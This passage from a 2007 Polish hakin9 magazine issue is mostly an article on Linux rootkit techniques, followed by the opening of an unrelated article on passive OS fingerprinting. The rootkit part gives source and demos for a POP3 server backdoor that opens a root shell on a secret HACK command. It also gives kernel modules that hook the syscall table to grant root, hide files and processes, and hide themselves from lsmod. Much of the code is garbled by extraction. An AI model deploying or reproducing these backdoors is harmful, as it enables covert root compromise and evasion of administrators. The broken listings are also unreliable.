uid  oraz  gid  procesu  backdoora.
Efektywny  uid  (euid)  zostaje  usta-
wiony  na  uid  użytkownika  zdefinio-
wanego  w  stałej  POP_USER  (do-
myślnie  jest  to  popa3d),  żeby  pro-
ces  był  widoczny  jako  należący  do
tego  właśnie  użytkownika,  a  mimo
to zachowywał uprawnienia superu-
żytkownika.

pw = getpwnam(POP_USER);
setuid(0); setgid(0);
seteuid(pw->pw_uid);

Poniżej tworzony jest socket typu

SOCK _ STREAM

, służący do nawiązy-

wania połączeń przy użyciu protoko-
łu TCP

(IPPROTO _ TCP)

sock = socket(AF_INET,
SOCK_STREAM, IPPROTO_TCP);
if (sock < 0) {
perror("socket");
exit(1);
}

Listing 4b.

Moduł realizujący ukrywanie plików

rec

dir

d_reclen

;

/* dla każdej pozycji w tablicy dirp sprawdzamy czy nazwa zawiera

poszukiwany przez nas ci±g znaków, jeśli tak jest to nie pokazujemy
danego pliku/katalogu w strukturze linux_dirent64 */

(

strstr

(

dir

d_name

HIDE_NAME

))

{

)

{

ret

rec

;

ptr

(

struct

linux_dirent64

(((

unsigned

long

)

dir

)

rec

);

}

else

{

d_reclen

rec

;

memset

(

dir

rec

);

}

else

dir

;

dir

struct

linux_dirent64

*)(((

unsigned

long

)

dir

rec

);

}

/* kopiujemy zmodyfikowan± listę pozycji do środowiska użytkownika */

(

copy_to_user

(

dirp

ptr

ret

))

{

return

EFAULT

;

}

/* zwalniamy pamięc dla zmiennej tmp */

kfree

(

tmp

);

return

ret

;

}

static

int

__init

m_init

(

void

)

{

znajdz_sct

())

{

return

;

}

old_getdents64

sys_call_table

[

__NR_getdents64

];

sys_call_table

[

__NR_getdents64

new_getdents64

;

return

;

}

static

void

__exit

m_exit

(

void

)

{

sys_call_table

[

__NR_getdents64

old_getdents64

;

}

module_init

(

m_init

);

module_exit

(

m_exit

);

Listing 5.

Realizacja zadań

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define __KERNEL_SYSCALLS__
#include

MODULE_AUTHOR

(

"Robert Jaroszuk <zim@iq.pl>"

);

MODULE_LICENSE

(

"GPL"

);

/* Sygna│, który będziemy wysyłać do procesu. */

#define SIGHIDE 64

/* Flaga jak będziemy ustawiali procesowi */

#define PF_HIDDEN 0x10000000

void

sys_call_table

;

asmlinkage

int

old_getdents64

)

Maskowanie obecności w GNU/Linux

hakin9 Nr 3/2007

www.hakin9.org

Dalej czyszczona jest zmienna serv,
która przechowuje strukturę soc-

kaddr_in.

memset(&serv, 0x0, sizeof(serv));

Po jej wyczyszczeniu, ustawiane
są w niej odpowiednie pola. Pole
sin_family określa rodzinę protoko-
łów,

sin _ addr.s _ addr

określa, ja-

ki  ma  być  adres  źródłowy  danego
połączenia. W przypadku usług bę-
dzie  to  adres,  na  którym  ma  dany
program  nasłuchiwać.

INADDR _ ANY

oznacza,  że  będzie  to  każdy  do-
stępny  adres  IP,  tak  więc  program
będzie  słuchał  na  wszystkich  inter-
fejsach  serwera.  Pole  sin_port  to
port,  na  którym  będzie  uruchomio-
ny backdoor.

serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_

ANY);

serv.sin_port = htons(PORT);

Następnie

informacje

zawar-

te w strukturze przechowywanej w
zmiennej serv, są przekazane do
funkcji

bind()

, która powoduje "na-

zwanie" danego socketu.

if (bind(sock, (struct sockaddr *)
&serv, sizeof(serv)) < 0) {
perror("bind");
exit(1);
}

Teraz można otworzyć port (słuchać
na nim –

listen()

) oraz oczekiwać na

połączenie od intruza.

if (listen(sock, 5) < 0) {
perror("listen");
exit(1);
}

Dalej przechodzimy do katalogu
głównego oraz oczekujemy na nad-
chodzące połączenie.

chdir("/");
slen = sizeof(cli);
scli = accept(sock, (struct sockaddr

&cli, &slen);
if (scli < 0) exit(0);

Listing 5a.

Realizacja zadań

(

unsigned

int

struct

linux_dirent64

dirp

unsigned

int

count

);

asmlinkage

int

old_kill

)(

pid_t

int

);

int

znajdz_sct

(

void

);

int

znajdz_sct

()

{

unsigned

long

ptr

;

ptr

unsigned

long

((

init_mm

end_code

)

0xfffffffc

);

while

((

unsigned

long

)

ptr

(

unsigned

long

)

init_mm

end_data

)

{

((

unsigned

long

*)*

ptr

(

unsigned

long

sys_close

)

{

((

unsigned

long

*)*((

ptr

__NR_close

__NR_read

)

(

unsigned

long

sys_read

*((

ptr

__NR_close

__NR_open

)

(

unsigned

long

)

sys_open

)

{

sys_call_table

(

void

**)

((

unsigned

long

(

ptr

__NR_close

));

break

;

}

ptr

++;

}

(

sys_call_table

NULL

)

{

return

;

}

else

{

return

;

}

return

;

}

/* Funkcja wycina numer procesu ze scieżki /proc/pid */

int

new_atoi

(

char

path

)

{

int

;

char

ptr

;

for

(

ptr

path

;

ptr

;

ptr

++);

ptr

--;

while

(

ptr

path

)

{

ptr

'0'

ptr

'9'

)

{

;

break

;

}

ptr

0x30

)

;

ptr

--;

}

return

;

}

struct

task_struct

new_find_task

(

pid_t

pid

)

{

struct

task_struct

;

read_lock

tasklist_lock

);

for_each_process

(

)

{

(

pid

)

{

read_unlock

tasklist_lock

);

return

;

}

read_unlock

tasklist_lock

);

return

NULL

;

}

/* Funkcja sprawdza czy dany proces ma status 'HIDDEN' */

char

is_hidden

(

pid_t

pid

)

{

struct

task_struct

;

(

pid

)

return

;

/* Sprawdzamy czy istnieje proces o podanym pid */

((

new_find_task

(

pid

))

NULL

)

return

;

/* Sprawdzamy czy ma flagŕ PF_HIDDEN */

hakin9 Nr 3/2007

www.hakin9.org

Atak

Gdy nawiązane zostanie połączenie,
przekazujemy jego deskryptor jako
stdin, stdout oraz stderr do urucha-
mianego programu. W naszym przy-
padku jest to powłoka.

dup2(scli, 0);
dup2(scli, 1);
dup2(scli, 2);
execl("/bin/sh", "sh", "-i", NULL);

Żeby  wszystko  działało  jak  należy,
musimy  jeszcze  zdefiniować  pole-
cenie,  które  aktywuje  naszą  funk-
cję. Dodajemy ją zatem do struktury

pop _ auth _ commands[]

static struct pop_command
pop_auth_commands[] = {
{"QUIT", pop_auth_quit},
{"USER", pop_auth_user},
{"PASS", pop_auth_pass},
{"HACK", pop_auth_hack},
{NULL, NULL}
};

Teraz, w momencie wpisania polece-
nia HACK, wywołana zostanie funk-
cja

pop _ auth _ hack()

Poniższy przykład pokazuje, jak

działa nasz backdoor:

(zim@hamas ~)$ nc 0 110
+OK
HACK
(zim@hamas ~)$

Po połączeniu się na port 110 serwe-
ra pop3 wpisaliśmy komendę HACK,
która  ma  uruchomić  backdoora  na
porcie  4000.  Teraz  łączymy  się  na
ten  port,  żeby  uzyskać  dostęp  do
powłoki z uprawnieniami superużyt-
kownika.

(zim@hamas ~)$ nc 0 4000
(root@hamas /)$ id
uid=0(root) gid=0(root) euid=45(popa3d)
groups=45(popa3d)
(root@hamas /)$ whoami
root
(root@hamas /)$

Backdoor w kernelu

Znacznie  skuteczniejszą  metodą
na  ukrycie  tylnej  furtki  w  systemie,
jest  wykorzystanie  w  tym  celu  ją-

Listing 5b.

Realizacja zadań

((

flags

PF_HIDDEN

)

PF_HIDDEN

)

{

return

;

}

return

;

}

int

new_kill

(

pid_t

pid

int

sig

)

{

struct

task_struct

new_find_task

(

pid

);

(

NULL

)

return

ESRCH

;

/* Sprawdzamy jaki sygnał wysłano procesowi */

(

sig

SIGHIDE

)

{

/* JeÂli proces już jest ukryty - zdejmujemy status PF_HIDDEN */

((

flags

PF_HIDDEN

)

PF_HIDDEN

)

{

flags

PF_HIDDEN

;

}

/* JeÂli nie jest ukryty - ukrywamy */

else

{

flags

PF_HIDDEN

;

}

return

;

}

return

old_kill

)(

pid

sig

);

}

asmlinkage

int

new_getdents64

(

unsigned

int

void

dirent

unsigned

int

count

)

{

struct

linux_dirent64

orig

curr

;

struct

file

;

struct

super_block

;

struct

inode

;

int

len

;

char

ptr

;

char

proc

;

(

struct

linux_dirent64

dirent

;

((

fget

(

))

NULL

)

{

return

EBADF

;

}

/* Pobierz właściwy superblock dla danego katalogu */

f_dentry

d_sb

;

f_dentry

d_inode

;

/* Wczytujemy strukture katalogˇw */

old_getdents64

(

dirent

count

);

/* Spraw╝ czy jesteÂmy w /proc */

(

s_magic

PROC_SUPER_MAGIC

)

proc

;

(

)

{

fput

(

);

return

;

}

kmalloc

(

GFP_KERNEL

);

/* Sprawdzamy czy zaalokowano pami */

(

NULL

)

{

fput

(

);

return

;

}

/* Kopiujemy wczytaną strukturę */

(

copy_from_user

(

))

{

return

EFAULT

;

}

orig

;

ptr

(

char

;

/* Analizujemy wczytane dane */

while

(

ptr

((

char

orig

))

{

curr

(

struct

linux_dirent64

ptr

;

Maskowanie obecności w GNU/Linux

hakin9 Nr 3/2007

www.hakin9.org

dra. Może to być np. przechwytywa-
nie  wywołań  otwarcia  jakiegoś  pli-
ku,  sprawdzenie  jego  nazwy  i  jeśli
zgadza  się  ona  z  naszą,  wymyślo-
ną wcześniej, moduł daje procesowi

uid=0

. Dla uproszczenia nie będzie-

my porównywać całości nazwy pli-
ku, sprawdzimy tylko, czy w nazwie
otwieranego pliku jest jakiś zdefinio-
wany ciąg znaków.

Zanim jednak przeanalizujemy

działanie takiego modułu, omówmy

kilka  zmian,  które  zaszły  w  kernelu
2.6 względem kernela 2.4. Otóż de-
veloperzy  jądra  zmienili  sposób  do-
stępu  do  tablicy

sys _ call _ table[]

Nie jest już eksportowana i dostępna
z poziomu innych modułów, tak więc
aby zachować styl programowania
z jąder 2.4, należy najpierw zdobyć
adres tablicy

sys _ call _ table[]

Jest kilka sposobów na jego zdo-

bycie oraz wykorzystanie przy pro-
gramowaniu backdoorów. Jedną z
łatwiejszych metod jest pobranie ad-
resu tablicyz pliku System.map:

# grep sys_call_table /boot/System.map
c03a22a0 R sys_call_table
#

Teraz możemy go przypisać sta-
łej

SCT _ ADDR

, a stałą udostępnić w

zmiennej

sys _ call _ table

. W tej

chwili pozostaje tylko wywołać ma-
kro

EXPORT _ SYMBOL

void **sys_call_table;
static int __init m_init(void) {
sys_call_table = (void**)SCT_ADDR;
EXPORT_SYMBOL(sys_call_table);
return 0;
}

Listing  całego  modułu  eksportują-
cego  adres  tablicy  znajduje  się  na
Listingu  2.  Po  załadowaniu  modułu
możemy  sprawdzić,  czy  tablica  jest
wyeksportowana. Przedstawia to Li-
sting 7. Jednakże zamiast stosować
dodatkowy  moduł  i  eksportować  ta-
blicę,  wygodniej  będzie  napisać
funkcję, która wyszuka początek ta-
blicy i udostępni jej adres w module,
który  ma  podmienić  określone  wy-
wołanie systemowe. Funkcja ta prze-
szukuje przestrzeń adresową proce-
su, próbując trafić na adres wywoła-
nia systemowego

sys _ close

. Gdy je

znajdzie, może w dosyć prosty spo-
sób dotrzeć do adresu początku ta-
blicy  sys_call_table,  dzięki  czemu
można  zachować  konwencję  pro-
gramowania  modułów  znaną  z  ker-
neli  2.4.X.  Funkcja  opisana  jest  na
Listingu  3,  prezentującym  działanie
backdoora. Gdy mamy już dostęp do
tablicy  syscalli,  możemy  przejść  do
omawiania działania backdoora.

Listing 5c.

Realizacja zadań

len

curr

d_reclen

;

/* Jeżeli proces jest ukryty, nie pokazujemy go */

(

proc

is_hidden

(

new_atoi

(

curr

d_name

)))

{

)

{

len

;

(

struct

linux_dirent64

*)((

char

len

);

}

else

{

d_reclen

len

;

memset

(

curr

len

);

}

else

curr

;

ptr

len

;

}

/* Po przefiltrowaniu zwracamy dane do userspace */

(

copy_to_user

(

))

{

return

EFAULT

;

}

/* I zwalniamy zaalokowaną pamięć */

kfree

(

orig

);

fput

(

);

return

;

}

static

int

__init

m_init

(

void

)

{

znajdz_sct

())

{

return

;

}

old_getdents64

sys_call_table

[

__NR_getdents64

];

sys_call_table

[

__NR_getdents64

new_getdents64

;

old_kill

sys_call_table

[

__NR_kill

];

sys_call_table

[

__NR_kill

]

new_kill

;

return

;

}

static

void

__exit

m_exit

(

void

)

{

sys_call_table

[

__NR_getdents64

old_getdents64

;

sys_call_table

[

__NR_kill

]

old_kill

;

}

module_init

(

m_init

);

module_exit

(

m_exit

);

Listing 6.

Załadowanie modułu

#include

#include

#include

MODULE_AUTHOR

(

"Robert Jaroszuk <zim@iq.pl>"

);

MODULE_LICENSE

(

"GPL"

);

static

int

__init

m_init

(

void

)

{

(

__this_module

list

)

__this_module

list

__this_module

list

;

return

;

}

static

void

__exit

m_exit

(

void

)

{

}

module_init

(

m_init

);

module_exit

(

m_exit

);

hakin9 Nr 3/2007

www.hakin9.org

Atak

Definiujemy najpierw poszukiwa-

ny ciąg znaków:

char *string = "trabant";

Następnie piszemy zmodyfikowa-
ną wersję wywołania systemowego

sys_open:

asmlinkage int new_open(const char
*pathname, int flag, int mod) {
if (strstr(pathname, string)) {
current->uid = 0;
current->gid = 0;
current->euid = 0;
current->egid = 0;
current->parent->uid = 0;
current->parent->gid = 0;
current->parent->euid = 0;
current->parent->egid = 0;
}
return (old_open(pathname, flag,

mod));

}

Sprawdzamy w nim, czy w zmiennej
pathname znajduje się ciąg znaków
zdefiniowany w zmiennej string. Jeśli
tak jest, ustawiamy uid/gid/euid/egid
bieżącego procesu oraz procesu-ro-

dzica na wartość 0. Uid procesu-ro-
dzica zmieniamy dlatego, że w przy-
padku  gdy  np.  wydamy  polecenie
cat  trabant,  bieżącym  procesem,  z
punktu widzenia jądra, jest program
cat, a nie powłoka z której wydaliśmy
to  polecenie,  tak  więc  to  cat  dosta-
nie

uid = 0

Kod całego modułu znajduje się

na Listingu 3. Kompilacja i użycie:

# cd listing3_file
# make
.
.
# insmod listing3_file.ko

Teraz sprawdzamy, czy nasz back-
door działa prawidłowo. Przestawia
to Listing 8.

Gdy znamy już sposoby tworze-

nia backdoora w kernelu, warto za-
poznać się z technikami ukrywania
swojej obecności.

Zacznijmy od ukrywania plików.

Można  to  zrobić  na  kilka  sposobów
-  analogicznie  jak  w  przypadku  wy-
woływania  sys_open,  można  zmo-
dyfikować  wybrane  wywołanie  sys-
temowe,  aby  nie  pokazywało  plików

Listing 7.

Po załadowaniu modułu możemy sprawdzić, czy tablica jest

wyeksportowana

# grep sys_call /proc/kallsyms
# insmod listing2_export_sct.ko
# grep sys_call /proc/kallsyms

e0957004

__ksymtab_sys_call_table

8423

[

listing2_export_sct

]

e0957010

__kstrtab_sys_call_table

8422

[

listing2_export_sct

]

e095700c

__kcrctab_sys_call_table

8421

[

listing2_export_sct

]

00000000

__crc_sys_call_table

[

listing2_export_sct

]

e0957600

sys_call_

table

[

listing2_export_sct

]

Listing 8.

Sprawdzamy, czy nasz backdoor działa prawidłowo

uid

1003

(

hacker

)

gid

1003

(

hacker

)

groups

1003

(

hacker

)

cat

trabant

cat

trabant

such

file

directory

uid

(

root

)

gid

(

root

)

groups

1003

(

hacker

)

Listing 9a.

Działanie

kompletnego modułu

realizującego ukrywanie plików

przedstawiony z Listingu 4

# touch _XXX_tego_pliku_nie_widac_

XXX_

# ls -la

total

drwx

------

zim

584

Nov

drwx

------

zim

360

Nov

root

211

Nov

built

cmd

root

334

Nov

listing4_

hidefile

cmd

root

11825

Nov

listing4_hidefile

mod

cmd

root

12134

Nov

listing4_

hidefile

cmd

drwxr

root

Nov

tmp_versions

zim

Nov

Makefile

root

Nov

Module

symvers

root

Nov

_XXX_tego_pliku_nie_widac_XXX_

root

Nov

built

-------

zim

3037

Nov

listing4_hidefile

root

4199

Nov

listing4_hidefile

root

898

Nov

listing4_hidefile

mod

root

2400

Nov

listing4_hidefile

mod

root

2388

Nov

listing4_hidefile

# insmod listing4_hidefile.ko
# ls -la

total

drwx

------

zim

584

Nov

drwx

------

zim

360

Nov

root

211

Nov

built

cmd

root

334

Nov

listing4_hidefile

cmd

root

11825

Nov

listing4_hidefile

mod

cmd

root

12134

Nov

listing4_hidefile

cmd

drwxr

root

Maskowanie obecności w GNU/Linux

z  określonym  uid/gid,  albo  zawiera-
jących  w  nazwie  wcześniej  zdefinio-
wany ciąg znaków. Jak działa w ker-
nelu  samo  listowanie  katalogów?
Otóż realizowane jest ono zapośred-
nictwem  wywołania  systemowego

sys _ getdents64

, która za pośrednic-

twem VFS (Virtual File System), czy-
li swoistego interfejsu pomiędzy ob-
sługą systemu plików a środowiskiem
użytkownika, pobiera listę plików i ka-
talogów ze wskazanego katalogu i za-
pisuje je w strukturze

linux _ dirent64

Mogąc pisać swoje wywołania syste-
mowe, najprościej podstawić zamiast
oryginalnego

sys _ getdents64

, jego

zmodyfikowaną  wersję.  Modyfikacja
będzie podobna do tej z poprzednie-
go  przykładu.  Sprawdzimy  czy  da-
ny  plik/katalog  zawiera  w  nazwie  ja-
kiś ciąg znaków i jeśli tak się stanie, to
pominiemy go przy wyświetlaniu wy-
niku polecenia ls.

Listing przedstawiający kompletny

moduł realizujący ukrywanie plików
przedstawiony jest w na Listingu 4.
Jego działanie prezentuje Listing 9.

Jak widać – plik stał się niewi-

doczny nawet dla roota. Oczywiście,
gdybyśmy chcieli wyświetlić ten plik
pytając bezpośrednio o niego (

ls -al

_ XXX _ tego _ pliku _ nie _ widac _
XXX _

pokaże go nam, bo w tym

przypadku system korzysta z wywo-
łania

sys _ open()

, które działa nor-

malnie. Gdybyśmy chcieli, aby i w ta-
kim przypadku plik był ukryty, należy
zmodyfikować wywołanie

sys _ open

aby - analogicznie jak w powyższym
przykładzie – sprawdzało nazwę pli-
ku i jeśli zawiera ona zadeklarowa-
ny ciąg znaków, wywołanie zwraca-
łoby

-ENOENT

My tego rozwiązania tutaj nie sto-

sujemy, bo uniemożliwiałoby nam to
korzystanie z plików, które są ukryte

Listing 9b.

Działanie

kompletnego modułu

realizującego ukrywanie plików

przedstawiony z Listingu 4

Nov

tmp_versions

zim

Nov

Makefile

root

Nov

Module

symvers

root

Nov

built

-------

zim

3037

Nov

listing4_hidefile

root

4199

Nov

listing4_hidefile

root

898

Nov

listing4_hidefile

mod

root

2400

Nov

listing4_hidefile

mod

root

2388

Nov

listing4_hidefile

hakin9 Nr 3/2007

www.hakin9.org

Atak

(np. jeśli ukrywamy logi ze sniffera, nie
było by możliwe ich późniejsze otwar-
cie ani do zapisu ani do odczytu). Przy
modyfikowaniu

sys _ open

warto zmo-

dyfikować też

sys _ stat

, inaczej ls nam

pliku nie pokaże, ale zrobi to stat.

Jak do tej pory wszystko by-

ło fajne i ciekawe. Mamy backdo-
ory, umożliwiające uzyskanie

uid=0

ukrywamy pliki, ale nadal widocz-
ne są nasze procesy. Je też moż-
na łatwo schować - na przykład po-
przez ustawianie procesom konkret-
nej flagi.

Można to zrobić przechwytując

wywołanie systemowe sys_kill, dzię-
ki któremu, wysyłając procesowi od-
powiedni sygnał, ustawimy mu naszą

flagę. Gdy proces odróżnia się już od
innych, należy zrobić coś, aby proce-
sów z określoną flagą nie było widać.
To z kolei można osiągnąć poprzez
inną modyfikację wywołania

sys _

getdents64()

, które jest wykorzysty-

wane do przeglądania listy proce-
sów (poprzez system plików procfs
zamontowany w /proc). Jak to osią-
gnąć? Na początek wybieramy sobie
dowolny konkretny sygnał - najlepiej
taki, który nie będzie wykorzystywa-
ny. Ja wybrałem 64. Jako flagę bę-
dziemy ustawiać

0x10000000

W Listingu 5 przedstawiłem kom-

pletny moduł, który realizuje powyż-
sze zadania. Tradycyjnie – kompilu-
jemy i ładujemy moduł:

Aby wysłać sygnał do procesu

potrzebny  będzie  nam  osobny  pro-
gram  (kill  nie  wyśle  sygnału  o  nu-
merze  wyższym  niż  zdefiniowane  1
– 63). Przedstawia to Listing 10. Te-
raz  wybierzmy  proces  do  ukrycia,
może xmms? (Listing 11).

Ponowne wysłanie procesu zno-

wu czyni go widocznym. Zatem mo-
duł działa prawidłowo.

Teraz dwie bardzo istotne rzeczy.

Dzieci procesu ukrytego są widocz-
ne, oraz same moduły są widoczne.
Pierwszy problem jest bardzo łatwy
do rozwiązania – wystarczy tak zmo-
dyfikować

sys _ fork()

, aby spraw-

dzało czy proces jest ukryty (jest do
tego funkcja

is _ hidden()

w module

hideproc

) i jeśli jest, to konieczne jest

ustawienie mu flagi

PF _ HIDDEN

. Drugi

problem również nie jest taki znowu
trudny do rozwiązania. Wystarczy
w strukturze

'struct module'

ostat-

nio załadowanego modułu, zmienić
wskaźnik

'next'

, aby wskazywał na

moduł jeszcze wcześniej załadowa-
ny. Realizuje to moduł z Listingu 6.
Po jego kompilacji możemy go zała-
dowć tak jak na Listingu 12. Jak wi-
dać – moduł hideproc zniknął.

Tak więc potrafimy już stworzyć

backdoora, który bez pozostawia-
nia żadnych śladów da nam

uid = 0

Potrafimy ukrywać pliki oraz proce-
sy, a także ukrywać moduły załado-
wane do jądra systemu. Połączenie
tych kilku modułów w jeden pozosta-
wiam do wykonania Wam, jako pra-
cę domową. l

Listing 10.

Wysyłanie sygnału do procesu

# cat > newkill.c
#include
#include

int

main

(

int

argc

char

argv

[])

{

int

pid

sig

;

(

argc

)

exit

(

);

sig

atoi

(

argv

[

]);

pid

atoi

(

argv

[

]);

kill

(

pid

sig

);

exit

(

);

}

# gcc -o newkill newkill.c
#

Listing 11.

Wybieramy proces xmms? do ukrycia

# ps aux|grep xmms

zim

4703

0.2

1.4

46640

7452

Ssl

xmms

root

5596

0.0

1648

500

tty2

grep

xmms

# ./newkill 64 4703
# ps aux|grep xmms

root

5605

0.0

1648

504

tty2

grep

xmms

#
# ./newkill 64 21971
# ps aux|grep xmms

zim

4703

0.2

1.5

47532

7936

Ssl

xmms

root

5608

0.0

1648

504

tty2

grep

xmms

Listing 12.

Kompilacja modułu z Listingu 6

# lsmod|head -4

Module

Size

Used

Tainted

listing5_hideproc

2888

printer

6720

(

unused

)

usb

uhci

21100

(

unused

)

# insmod listing6_hidemodule.ko && rmmod listing6_hidemodule
# lsmod|head -4

Module

Size

Used

Tainted

printer

6720

(

unused

)

usb

uhci

21100

(

unused

)

www.hakin9.org

hakin9 Nr 3/2007

Atak

est  to  możliwe  dzięki  małym  różnicom
pomiędzy  implementacjami  protokołów
na  różnych  systemach  i  urządzeniach.

Fakt ten umożliwia ich odróżnienie, a nawet
zdobycie wielu ciekawych informacji, co z kolei
pozwala ustalić nazwę i wersję systemu.

OS fingerprinting ogólnie

Rozpoznawanie systemów operacyjnych mo-
że być prowadzone na poziomie popularnych
protokołów  TCP,  UDP  oraz  ICMP.  My  zaj-
miemy  się  jedynie  jednym  z  nich,  a  miano-
wicie TCP, ponieważ umożliwia on uzyskanie
największej  ilości  informacji  ze  względu  na
złożoną  budowę  nagłówka  pakietu  TCP/IP.
Ogólnie pojęty OS fingerprinting ma wiele za-
stosowań:

• szybkie rozpoznawanie ofiar lub potencjal-

nych intruzów;

•   określanie budowy sieci;
•   monitorowanie sieci oraz jej użytkowników;
•   zaspokojenie zwykłej ludzkiej ciekawości.

Z pewnością każda osoba, która używała ska-
nera nmap zna opcję

-O

, której zadaniem jest

przeprowadzenie testów w celu określenia na-

zwy i wersji systemu. nmap wysyła szereg pa-
kietów i analizuje odpowiedzi skanowanej ma-
szyny.  Jest  to  fingerprinting  aktywny,  który  w
przeciwieństwie  do  pasywnego  wymaga  wy-
słania  pakietów  w  stronę  skanowanej  maszy-
ny.  Z  tego  powodu  typowa  sesja  nmap  może
zostać z łatwością wykryta (charakterystyczna
budowa  pakietów)  przez  odpowiednie  narzę-
dzia,  co  umożliwia  także  zabezpieczenie  się
przed tym skanerem.

Pasywne rozpoznawanie

systemów operacyjnych

Marcin Ulikowski

stopień trudności

Zdalne rozpoznawanie systemów operacyjnych (ang. OS

fingerprinting) to działanie, które ma na celu ustalenie jaki system

jest zainstalowany na maszynie, do której mamy jedynie zdalny

dostęp.

Z artykułu dowiesz się...

• na czym polega atak na protokół TCP z wyko-

rzystaniem komunikatów ICMP;

• w jaki sposób przeprowadzić przykładowy atak

z wykorzystaniem protokołu ICMP;

• jak zabezpieczyć system przed atakiem tego

rodzaju.

Co powinieneś wiedzieć...

• znajomość podstawowych informacji na temat

protokołów sieciowych i komunikacji w Interne-
cie;

• znajomość elementów nagłówka IP oraz TCP.

Pasywne rozpoznawanie systemów operacyjnych

hakin9 Nr 3/2007

www.hakin9.org

Pasywna odmiana fingerprin-

tingu  ma  wiele  zalet  w  stosunku  do
aktywnej.  Za  największą  możemy
uznać  fakt,  iż  nie  wymaga  wysyła-
nia  żadnych  pakietów,  co  czyni  ją
także  niemożliwą  do  wykrycia.  Na-
tomiast  największą  wadą  mogą  być
mniej precyzyjne wyniki, które są na-
stępstwem niedoboru informacji (pa-
kietów)  i  braku  dwustronnego  kon-
taktu  ze  zdalnym  systemem.  nmap
ma  dostęp  do  większej  ilości  infor-
macji  (na  przykład  kolejnych  nume-
rów sekwencyjnych), ponieważ ana-
lizuje odpowiedzi na wysyłane przez
siebie pakiety i zwykle potrafi zdobyć
więcej danych o skanowanym syste-
mie.  Jednak  praktyka  pokazuje,  że
nie jest to aż tak wielka przewaga jak

się wydaje. Tabela 1 zawiera krótkie
porównanie aktywnego i pasywnego
fingerprintingu.

Budowa pakietu TCP/IP

Aby  wiedzieć  w  jaki  sposób  zdal-
nie  rozpoznać  system  operacyjny,
niezbędna  będzie  wiedza  na  te-
mat  budowy  nagłówków  IP  oraz
TCP.  Analizując  pakiety  wysyłane
będziemy  mogli  odgadnąć  nazwę
oraz wersje systemu na konkretnej
maszynie.  Skupimy  się  na  pakie-
tach  wysyłanych  podczas  nawią-
zywania  połączenia,  czyli  z  usta-
wioną flagą SYN. Pakiety z tą fla-
gą zawierają największą ilość cha-
rakterystycznych informacji dla da-
nego systemu. Rysunek 2 zawiera
zapis  programu  tcpdump,  który
przedstawia  dwa  pakiety  wysła-
ne przez ten sam system podczas
nawiązywania  połączenia  (tzw.

three-way handshake – potrójny
uścisk dłoni).

Łatwo zauważyć, że obydwa

pakiety  mają  taką  samą  wielkość
oraz  zawierają  trzy  pola  o  takiej
samej  wartości.  Zaznaczone  pola
są  charakterystyczne  dla  różnych
implementacji  stosów  TCP.  Dzię-
ki  ich  analizie  i  porównaniu  bę-
dzie możliwe określenie systemów
operacyjnych  na  zdalnych  maszy-
nach.  Wiemy  już  czego  potrzebu-

jemy. Teraz dowiemy się jaką funk-
cję spełniają interesujące nas ele-
menty  pakietu.  Dowiemy  się  też
w  jaki  sposób  możemy  je  wyko-
rzystać  do  odgadywania  zdalnych
systemów.

Flagi IP

Jest  to  pole  długości  4  bitów  wy-
korzystywane  przy  fragmentacji
pakietów.  Flaga  Don't  Fragment
(ang.  nie  dziel  pakietów)  to  infor-
macja,  że  pakiet  nie  może  ulec
fragmentacji,  czyli  nie  może  zo-
stać podzielony na mniejsze pakie-
ty podczas transmisji. Jest używa-
na  przez  systemy  do  wykrywania
optymalnego  rozmiaru  pakietu  na
trasie pomiędzy dwiema maszyna-
mi. Jeśli jeden z routerów pośred-
niczących  w  transmisji  nie  zgodzi
się  przekazać  pakietu  dalej,  wy-
śle  komunikat  ICMP  do  nadawcy
z informacją, aby przesłał pakiet z
mniejszą ilością danych. Flaga DF
nie  jest  stosowana  przez  starsze
systemy  (na  przykład  Linux  2.0,
czy  nawet  skaner  nmap)  co  jest
dla nas cenną wskazówką.

Time to Live

Pole  to  może  przyjmować  warto-
ści od 0 do 255 (długość 8 bitów).
Jest  zmniejszane  za  każdym  ra-
zem,  gdy  pakiet  jest  przekazywa-

Tabela 1.

Wady i zalety aktywnego i pasywnego rozpoznawania systemów

Aktywny fingerprinting

Pasywny fingerprinting

Wymaga wysłania pakietów w stronę skanowanej ma-
szyny

Nie wymaga wysyłania pakietów

Umożliwia rozpoznanie systemu tylko na routerze

Umożliwia rozpoznanie systemu zarówno na routerze
jak i na maszynach za nim

Ograniczają go bardzo restrykcyjne firewalle (znikome
odpowiedzi na wysłane pakiety)

Nie ograniczają go firewalle, ponieważ pakiety dociera-
ją do nas w sposób naturalny np. podczas zwykłej sesji
FTP lub SSH

Bardziej precyzyjne wyniki (nie we wszystkich przypad-
kach)

Mniej precyzyjne wyniki

Możliwy do wykrycia, szczególnie, kiedy stosowane są
popularne narzędzia

Niemożliwy do wykrycia, całkowita anonimowość

Skąd biorą się różnice

między systemami

Specyfikacje, które pokazują jak proto-
koły sieciowe powinny być implemento-
wane zawarte są w dokumentach RFC
(Request  For  Comments).  Jak  można
się  domyślić,  różnice  wynikają  z  błę-
dów  człowieka  (na  przykład  nie  do-
czytanie  specyfikacji  lub  jej  błędne
zrozumienie), które są rzeczą natural-
ną i niemożliwą do całkowitego wyeli-
minowania. Błędy przytrafiają się twór-
com wszystkich systemów. Jednak nie
możemy całej winy zrzucić na autorów
systemów. Często różnice powstają w
wyniku  nie  zawarcia  niektórych  norm
w RFC, implementowania różnego ro-
dzaju ulepszeń, które nieco wykraczają
poza standard, lub są wynikiem błędów
programistycznych.

Rysunek 1.

Dwa pakiety SYN wysłane przez ten sam system

hakin9 Nr 3/2007

www.hakin9.org

Atak

ny przez router. Kiedy osiągnie ze-
rową wartość, pakiet zostaje odrzu-
cony z sieci, natomiast jego nadaw-
ca  otrzymuje  komunikat  ICMP  o
błędzie. Jest to konieczne, aby za-
pobiec  krążeniu  pakietów  w  nie-
skończonej pętli, w której jeden ro-
uter  wysyła  pakiet  do  drugiego,  a
ten odsyła go z powrotem.

Prawie wszystkie systemy usta-

lają  wartość  początkową  tego  po-
la  na  32,  64,  128  lub  255.  Istnieją
także  systemy,  które  wybierają  in-
ne wartości jak np. Irix, który ustala
początkowy  TTL  na  60.  Będziemy
otrzymywać  pakiety,  które  przeby-
ły różne trasy dlatego oszacowanie

początkowego TTL wydaje się być
trudne. Jednak my wiemy, że prak-
tycznie nie występują pakiety, któ-
re przebyły drogę dłuższą niż przez
30  routerów.  Dzięki  temu  możemy
założyć, że jeśli otrzymany pakiet z
TTL o wartości 44 (lub innej mniej-
szej od 64 i większej od 32) to mo-
żemy założyć, że wartością począt-
